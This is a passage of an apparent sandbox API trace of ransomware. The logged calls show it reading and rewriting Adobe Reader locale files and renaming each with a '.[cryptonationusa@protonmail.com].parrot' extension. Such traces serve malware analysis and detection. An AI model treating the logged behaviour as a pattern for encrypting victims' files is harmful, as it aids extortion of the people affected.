lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.304] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.305] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2e00, lpOverlapped=0x0) returned 1 [0249.308] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.308] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\pddom.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\pddom.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\pddom.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\pddom.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329b5b0 | out: hHeap=0x5b0000) returned 1 [0249.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0249.313] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.313] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.314] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.315] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x85c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x85c00, lpOverlapped=0x0) returned 1 [0249.356] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.377] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\PPKLite.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ppklite.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\PPKLite.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ppklite.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.381] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9008 | out: hHeap=0x5b0000) returned 1 [0249.381] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.381] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0249.386] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.386] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.387] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.387] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0249.422] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.422] WriteFile (in: hFile=0x1b0, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18e8f4*=0x118, lpOverlapped=0x0) returned 1 [0249.425] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.425] WriteFile (in: hFile=0x1b0, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0249.427] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x158f18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0249.427] CloseHandle (hObject=0x1b0) returned 1 [0249.428] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\RdLang32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\rdlang32.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\RdLang32.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\rdlang32.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9008 | out: hHeap=0x5b0000) returned 1 [0249.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0249.435] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.435] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.444] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.444] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2c00, lpOverlapped=0x0) returned 1 [0249.446] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.446] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\ReadOutLoud.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\readoutloud.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\ReadOutLoud.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\readoutloud.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9008 | out: hHeap=0x5b0000) returned 1 [0249.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.449] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0249.451] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.451] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.486] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.487] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1200, lpOverlapped=0x0) returned 1 [0249.496] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.496] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\reflow.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\reflow.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\reflow.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\reflow.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.503] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329b5b0 | out: hHeap=0x5b0000) returned 1 [0249.503] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.503] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0249.506] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.506] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.507] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.507] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4c00, lpOverlapped=0x0) returned 1 [0249.509] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.509] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SaveAsRTF.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\saveasrtf.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SaveAsRTF.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\saveasrtf.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9008 | out: hHeap=0x5b0000) returned 1 [0249.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.514] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a2588 | out: hHeap=0x5b0000) returned 1 [0249.516] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.516] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.522] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.522] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6000, lpOverlapped=0x0) returned 1 [0249.523] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.524] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Search.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\search.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Search.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\search.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329b5b0 | out: hHeap=0x5b0000) returned 1 [0249.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a2588 | out: hHeap=0x5b0000) returned 1 [0249.531] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.532] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.533] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.533] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4200, lpOverlapped=0x0) returned 1 [0249.534] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.534] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SendMail.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\sendmail.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\SendMail.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\sendmail.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9008 | out: hHeap=0x5b0000) returned 1 [0249.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a2588 | out: hHeap=0x5b0000) returned 1 [0249.540] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0249.540] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0249.540] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.541] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0249.541] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0249.541] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9586, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0249.541] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.541] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0249.543] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.543] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9586, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x9586, lpOverlapped=0x0) returned 1 [0249.544] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.545] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\DEXShare.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services\\dexshare.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0249.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ba5d0 | out: hHeap=0x5b0000) returned 1 [0249.552] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.552] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0249.553] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.553] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xe8, lpOverlapped=0x0) returned 1 [0249.553] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.553] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\Services.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services\\services.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0249.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d6080 | out: hHeap=0x5b0000) returned 1 [0249.557] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0249.557] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x20c19dc0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x20c19dc0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.557] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x20bf3c60, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x96a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DEXSHA~1.PAR")) returned 1 [0249.558] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.558] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.559] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.559] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0249.560] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.560] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Spelling.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\spelling.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Spelling.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\spelling.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9008 | out: hHeap=0x5b0000) returned 1 [0249.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0249.565] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.565] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.568] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.568] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0249.569] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.569] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\updater.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\updater.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\updater.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\updater.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9008 | out: hHeap=0x5b0000) returned 1 [0249.572] 